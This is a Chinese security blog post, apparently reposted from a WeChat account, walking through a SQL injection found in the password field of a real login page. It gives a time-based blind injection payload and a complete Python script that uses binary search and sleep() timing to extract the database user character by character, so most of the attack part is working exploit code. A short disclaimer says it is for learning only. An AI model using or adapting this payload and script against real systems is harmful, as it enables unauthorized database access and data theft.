前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
社区首页 >专栏 >实战 | 简单的sql注入与脚本的编写

实战 | 简单的sql注入与脚本的编写

作者头像
F12sec
发布2022-09-29 20:01:21
发布2022-09-29 20:01:21
53700
代码可运行
举报
文章被收录于专栏:F12secF12sec
运行总次数:0
代码可运行

前言

申明:本次测试只作为学习用处,请勿未授权进行渗透测试,切勿用于其它用途!

来自团队师傅 spaceman

Part.1 漏洞挖掘过程

登录页面如下

随便手动尝试了一下弱密码,无果,于是尝试输入一个单引号,鱼鱼鱼!报错,机会来了

于是抓包分析尝试一手

尝试在cc参数测试注入,发现好像也不太对

接着尝试,发现pwd位置好像才是注入点

于是闭合注释,正常回显了

于是继续测试,通过报错我们也得知了是mysql数据库

所以可以选择使用时间盲注

代码语言:javascript
代码运行次数:0
运行
复制
cc=1234&pwd=456’and if((length(database())=8),sleep(5),0))–+&key=

这里需要注意的是括号这个地方,因为这个与之前一般的sql注入不一样,这个括号是放在最后才不会出错,而不是放在单引号后面

了解了原理之后就可以自己编写二分法脚本了

老是sqlmap梭哈没多大意思,二分时间盲注脚本如下

Part.2 二分法盲注脚本

代码语言:javascript
代码运行次数:0
运行
复制
# -*- coding:utf-8 -*-

import requests
from requests import exceptions

url = 'http://ip/CheckUser'

def main():
    result = ""
    for i in range(1, 20):
        low = 32
        high = 128
        while low < high:
            mid = int((low + high) / 2)
            content = "select user()"
            sql = f"123'and if((ascii(substr(({content}),{i},1))<{mid}),sleep(5),0))-- "
            data = {
                "cc":'123456',
                "pwd": sql,
                "key":''
            }
            headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0) Gecko/20100101 Firefox/87.0", "Accept": "*/*", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "X-Requested-With": "XMLHttpRequest", "Origin": "http://ip", "Connection": "close", "Referer": "http://ip"}
            r = requests.post(url=url, data=data,headers=headers)
            if r.elapsed.total_seconds() > 5:
                high = mid
            else:
                low = mid + 1
            print("[+] After changing we got {} to {}".format(low, high))
        if low == high == 32:
            print("[*] Result is: {}".format(result))
            break
        print("[+] Now has {}".format(i))
        result += chr(int((high + low - 1) / 2))
        print("[*] Result now is: {}".format(result))

if __name__ == '__main__':
    main()
本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-04-21,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 F12sec 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档